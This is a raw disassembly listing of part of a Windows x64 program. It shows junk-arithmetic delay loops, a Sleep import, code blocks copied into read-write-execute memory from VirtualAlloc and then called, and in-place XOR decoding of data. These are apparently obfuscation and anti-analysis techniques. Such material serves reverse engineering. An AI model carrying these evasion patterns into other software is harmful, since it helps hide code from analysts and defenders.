xor cl, 0x50
mov byte [rax + 8], cl
lea r8, [rsp + 0x1440]
mov rdx, rax
lea rcx, [rsp + 0xe30]
call fcn.140017c80
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xbc0]
call fcn.140017320
mov rdx, rax
lea rcx, [rsp + 0xba0]
call fcn.140003c60
nop
mov rdx, rax
lea rcx, [rsp + 0xb68]
call fcn.140007050
mov rdx, rax
lea rcx, [rsp + 0x1388]
call fcn.140015f90
lea rcx, [rsp + 0xb68]
call fcn.140015f30
nop
lea rcx, [rsp + 0xba0]
call fcn.140016730
nop
lea rcx, [rsp + 0xe30]
call fcn.140016730
mov edx, 0x108
lea rcx, [rsp + 0x1630]
call fcn.1400151d0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rsp + 0x1400]
lea rcx, [rsp + 0x1630]
call fcn.140015e60
nop
lea rcx, [rsp + 0xf33]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rsp + 0xc980]
call fcn.140016170
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rsp + 0xf18]
call fcn.1400162b0
movaps xmm2, xmm15
movsd xmm1, qword [0x1400253c8]
lea rcx, [rsp + 0x10f0]
call fcn.140016160
mov dword [rsp + 0x30], 0
xorps xmm6, xmm6
movsd qword [rsp + 0x38], xmm6
lea rcx, [rsp + 0x13e8]
call fcn.140001ae0
mov dword [rsp + 0xe0], 0x64
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xaa0]
call fcn.140017520
mov r8, rax
lea rdx, [rsp + 0x13e8]
lea rcx, [rsp + 0x13f0]
call fcn.140017530
mov edx, 0x18
lea rcx, [rsp + 0x1040]
call fcn.140002990
lea rcx, [rsp + 0x1040]
call fcn.140016030
nop
lea rcx, [rsp + 0x408]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x1b8]
call fcn.140017580
nop
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x1040]
call fcn.140016090
nop
lea rcx, [rsp + 0x1b8]
call fcn.140016050
nop
lea rcx, [rsp + 0x408]
call fcn.140016050
lea rcx, [rsp + 0x410]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.140017580
nop
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x1040]
call fcn.140016090
nop
lea rcx, [rsp + 0x1c0]
call fcn.140016050
nop
lea rcx, [rsp + 0x410]
call fcn.140016050
lea rcx, [rsp + 0x418]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.140017580
nop
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x1040]
call fcn.140016090
nop
lea rcx, [rsp + 0x1c8]
call fcn.140016050
nop
lea rcx, [rsp + 0x418]
call fcn.140016050
lea rcx, [rsp + 0x420]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.140017580
nop
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x1040]
call fcn.140016090
nop
lea rcx, [rsp + 0x1d0]
call fcn.140016050
nop
lea rcx, [rsp + 0x420]
call fcn.140016050
lea rcx, [rsp + 0x428]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x1d8]
call fcn.140017580
nop
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x1040]
call fcn.140016090
nop
lea rcx, [rsp + 0x1d8]
call fcn.140016050
nop
lea rcx, [rsp + 0x428]
call fcn.140016050
lea rcx, [rsp + 0x430]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.140017580
nop
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x1040]
call fcn.140016090
nop
lea rcx, [rsp + 0x1e0]
call fcn.140016050
nop
lea rcx, [rsp + 0x430]
call fcn.140016050
nop
lea rcx, [rsp + 0x7e8]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x13f0]
call fcn.140002930
xor edx, edx
movzx ecx, al
call fcn.140001ad0
test al, al
je 0x1400134f4
xor esi, esi
cmp esi, 0x186a0
jge 0x140013110
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
call fcn.140017450
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
call fcn.140017450
movsxd rbx, eax
lea rcx, [rsp + 0x1040]
call fcn.140016080
mov rcx, rax
mov rax, rbx
xor edx, edx
div rcx
movsxd rdx, edx
lea rcx, [rsp + 0x1040]
call fcn.140016070
mov rcx, rax
call fcn.140015f20
mov rbx, rax
mov rcx, qword [rax]
mov rdi, qword [rcx + 8]
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
call fcn.140017450
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x10f0]
call fcn.140017690
movaps xmm6, xmm0
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x10f0]
call fcn.140017690
movaps xmm1, xmm6
call fcn.1400027e0
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x10f0]
call fcn.140017690
movsd xmm6, qword [rsp + 0x38]
mov edx, 3
call fcn.140017710
subsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x10f0]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1550]
call fcn.1400167d0
nop
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x1550]
call fcn.140002750
mov edx, 0x18
lea rcx, [rsp + 0x11c8]
call fcn.140002990
lea rcx, [rsp + 0x7a]
call fcn.1400162a0
mov r8, rax
mov edx, 0x64
lea rcx, [rsp + 0x11c8]
call fcn.140016240
nop
lea r8, [rsp + 0xc980]
lea rdx, [rsp + 0xf18]
lea rcx, [rsp + 0xd80]
call fcn.140002950
movups xmm6, xmmword [rax]
lea rdx, [rsp + 0x7f0]
lea rcx, [rsp + 0x11c8]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x7f8]
lea rcx, [rsp + 0x11c8]
call fcn.1400161d0
movaps xmmword [rsp + 0x8b0], xmm6
lea r8, [rsp + 0x8b0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x11c8]
call fcn.140002860
lea rdx, [rsp + 0x800]
lea rcx, [rsp + 0x11c8]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x808]
lea rcx, [rsp + 0x11c8]
call fcn.1400161d0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0xf03], 0
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
call fcn.140017450
mov ebx, eax
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
call fcn.140017450
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xf03]
call fcn.140002960
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400133ef
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
test eax, eax
jne 0x140013410
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
jmp 0x14001341b
call fcn.140017450
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
xor edi, edi
cmp edi, 5
jge 0x1400134d2
xor ebx, ebx
nop dword [rax]
cmp ebx, 5
jge 0x1400134cb
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0xf18]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rsp + 0xc980]
lea rcx, [rsp + 0x10f0]
call fcn.140017690
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xc980]
test bl, 1
jne 0x1400134a2
lea rcx, [rsp + 0xf18]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
inc ebx
jmp 0x140013430
lea rcx, [rsp + 0x10f0]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm14
divsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
inc ebx
jmp 0x140013430
inc edi
jmp 0x140013421
lea rcx, [rsp + 0x11c8]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x1550]
call fcn.140016730
inc esi
jmp 0x140013141
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0x1040]
call fcn.1400160c0
lea rcx, [rsp + 0x1388]
call fcn.140015f10
mov rbx, rax
lea rcx, [rsp + 0x1388]
call fcn.140015f20
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1630]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x1630]
call fcn.140015e20
lea rcx, [rsp + 0xf32]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rsp + 0xdd10]
call fcn.140016170
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rsp + 0xf10]
call fcn.1400162b0
movaps xmm2, xmm15
movsd xmm1, qword [0x1400253c8]
lea rcx, [rsp + 0x10e0]
call fcn.140016160
mov dword [rsp + 0x30], 0
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x13d8]
call fcn.140001ae0
mov dword [rsp + 0x16c], 0x64
lea rdx, [rsp + 0x16c]
lea rcx, [rsp + 0x810]
call fcn.140017520
mov r8, rax
lea rdx, [rsp + 0x13d8]
lea rcx, [rsp + 0x13f8]
call fcn.140017530
mov edx, 0x18
lea rcx, [rsp + 0x1058]
call fcn.140002990
lea rcx, [rsp + 0x1058]
call fcn.140016030
nop
lea rcx, [rsp + 0x438]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call fcn.140017580
nop
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x1058]
call fcn.140016090
nop
lea rcx, [rsp + 0x1e8]
call fcn.140016050
nop
lea rcx, [rsp + 0x438]
call fcn.140016050
lea rcx, [rsp + 0x440]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call fcn.140017580
nop
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x1058]
call fcn.140016090
nop
lea rcx, [rsp + 0x1f0]
call fcn.140016050
nop
lea rcx, [rsp + 0x440]
call fcn.140016050
lea rcx, [rsp + 0x448]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x210]
call fcn.140017580
nop
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x1058]
call fcn.140016090
nop
lea rcx, [rsp + 0x210]
call fcn.140016050
nop
lea rcx, [rsp + 0x448]
call fcn.140016050
lea rcx, [rsp + 0x498]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x208]
call fcn.140017580
nop
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x1058]
call fcn.140016090
nop
lea rcx, [rsp + 0x208]
call fcn.140016050
nop
lea rcx, [rsp + 0x498]
call fcn.140016050
lea rcx, [rsp + 0x4e8]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140017580
nop
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x1058]
call fcn.140016090
nop
lea rcx, [rsp + 0x200]
call fcn.140016050
nop
lea rcx, [rsp + 0x4e8]
call fcn.140016050
lea rcx, [rsp + 0x538]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x1f8]
call fcn.140017580
nop
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x1058]
call fcn.140016090
nop
lea rcx, [rsp + 0x1f8]
call fcn.140016050
nop
lea rcx, [rsp + 0x538]
call fcn.140016050
nop dword [rax + rax]
lea rcx, [rsp + 0x818]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x13f8]
call fcn.140002930
xor edx, edx
movzx ecx, al
call fcn.140001ad0
test al, al
je 0x140013bd4
xor esi, esi
cmp esi, 0x186a0
jge 0x1400137f0
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
call fcn.140017450
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
call fcn.140017450
movsxd rbx, eax
lea rcx, [rsp + 0x1058]
call fcn.140016080
mov rcx, rax
mov rax, rbx
xor edx, edx
div rcx
movsxd rdx, edx
lea rcx, [rsp + 0x1058]
call fcn.140016070
mov rcx, rax
call fcn.140015f20
mov rbx, rax
mov rcx, qword [rax]
mov rdi, qword [rcx + 8]
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
call fcn.140017450
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x10e0]
call fcn.140017690
movaps xmm6, xmm0
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x10e0]
call fcn.140017690
movaps xmm1, xmm6
call fcn.1400027e0
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x10e0]
call fcn.140017690
movsd xmm6, qword [rsp + 0x38]
mov edx, 3
call fcn.140017710
subsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x10e0]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1570]
call fcn.1400167d0
nop
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x1570]
call fcn.140002750
mov edx, 0x18
lea rcx, [rsp + 0x1228]
call fcn.140002990
lea rcx, [rsp + 0x7b]
call fcn.1400162a0
mov r8, rax
mov edx, 0x64
lea rcx, [rsp + 0x1228]
call fcn.140016240
nop
lea r8, [rsp + 0xdd10]
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0xd20]
call fcn.140002950
movups xmm6, xmmword [rax]
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x1228]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x820]
lea rcx, [rsp + 0x1228]
call fcn.1400161d0
movaps xmmword [rsp + 0x8a0], xmm6
lea r8, [rsp + 0x8a0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x1228]
call fcn.140002860
lea rdx, [rsp + 0x828]
lea rcx, [rsp + 0x1228]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x830]
lea rcx, [rsp + 0x1228]
call fcn.1400161d0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0xec8], 0
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
call fcn.140017450
mov ebx, eax
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
call fcn.140017450
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xec8]
call fcn.140002960
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140013acf
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
test eax, eax
jne 0x140013af0
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
jmp 0x140013afb
call fcn.140017450
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
xor edi, edi
cmp edi, 5
jge 0x140013bb2
xor ebx, ebx
nop dword [rax]
cmp ebx, 5
jge 0x140013bab
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0xf10]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rsp + 0xdd10]
lea rcx, [rsp + 0x10e0]
call fcn.140017690
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xdd10]
test bl, 1
jne 0x140013b82
lea rcx, [rsp + 0xf10]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
inc ebx
jmp 0x140013b10
lea rcx, [rsp + 0x10e0]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm14
divsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
inc ebx
jmp 0x140013b10
inc edi
jmp 0x140013b01
lea rcx, [rsp + 0x1228]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x1570]
call fcn.140016730
inc esi
jmp 0x140013821
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0x1058]
call fcn.1400160c0
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0xb0]
call fcn.140015f00
mov rbx, rax
mov dword [rsp + 0x5c], 0x12c
mov edx, 0x18
lea rcx, [rsp + 0xf50]
call fcn.140002990
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0xf50]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002e440]
lea rdi, [0x140017c50]
test rax, rax
je 0x140013c6c
xor edx, edx
cmp rax, rdi
je 0x140013c5b
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2e440]
test rax, rax
jne 0x140013c43
jmp 0x140013c6c
mov r8, qword [r13 + rdx*8 + 0x2f750]
test r8, r8
jne 0x140013d4f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140013d2e
mov rax, rdi
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013ca0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002ea90]
mov qword [r13 + rax*8 + 0x2e440], rdi
mov qword [r13 + rax*8 + 0x2f750], r8
inc rax
mov qword [0x14002ea90], rax
lea rdx, [rsp + 0x5c]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rsp + 0xf50]
call fcn.1400029d0
lea rdx, [0x1400041a0]
lea rcx, [rsp + 0x48]
call fcn.1400151e0
mov rdi, rax
mov edx, 0x18
lea rcx, [rsp + 0xf50]
call fcn.140002990
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0xf50]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x1400303d0]
lea rbx, [0x140017ef0]
test rax, rax
je 0x140013de9
xor edx, edx
nop dword [rax + rax]
cmp rax, rbx
je 0x140013dd8
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x303d0]
test rax, rax
jne 0x140013dc0
jmp 0x140013de9
mov r9, qword [r13 + rdx*8 + 0x2ddf0]
test r9, r9
jne 0x140013ecf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x140013eae
mov rax, rbx
mov rcx, r9
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013e20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002e118]
mov qword [r13 + rax*8 + 0x303d0], rbx
mov qword [r13 + rax*8 + 0x2ddf0], r9
inc rax
mov qword [0x14002e118], rax
lea r8, [rsp + 0x1480]
lea rdx, [rsp + 0x1400]
mov rcx, qword [rdi]
call r9
nop
lea rcx, [rsp + 0xf50]
call fcn.1400029d0
lea rdx, [rsp + 0x1480]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017e30
lea rdx, [0x140017e50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [fcn.140001a70]
lea rcx, [rsp + 0x5e8]
call fcn.140015eb0
mov rbx, rax
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0x59]
call fcn.1400150c0
mov r11, rax
cmp byte [rax + 0xe], 0
je 0x140014194
xor r9d, r9d
cmp r14d, 2
jl 0x14001413a
movdqa xmm7, xmmword [0x140025460]
movd xmm8, r12d
movdqa xmm9, xmmword [0x140025470]
mov eax, 4
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.________________]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [r11]
pxor xmm3, xmm0
movd dword [r11], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
pxor xmm3, xmm0
movd dword [r11 + 4], xmm3
mov r9d, 8
movsxd r10, r9d
add r10, r11
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x140014140
mov qword [rsp + 0x60], r11
mov edx, 0x18
lea rcx, [rsp + 0xf50]
call fcn.140002990
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0xf50]
call fcn.1400029a0
nop
xor ecx, ecx
mov rax, qword [0x14002eaa0]
test rax, rax
je 0x1400141fa
xor edx, edx
cmp rax, r15
je 0x1400141e9
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2eaa0]
test rax, rax
jne 0x1400141d1
jmp 0x1400141fa
mov r10, qword [r13 + rdx*8 + 0x2d150]
test r10, r10
jne 0x1400142df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
je 0x1400142be
mov rax, r15
mov rcx, r10
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014230
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
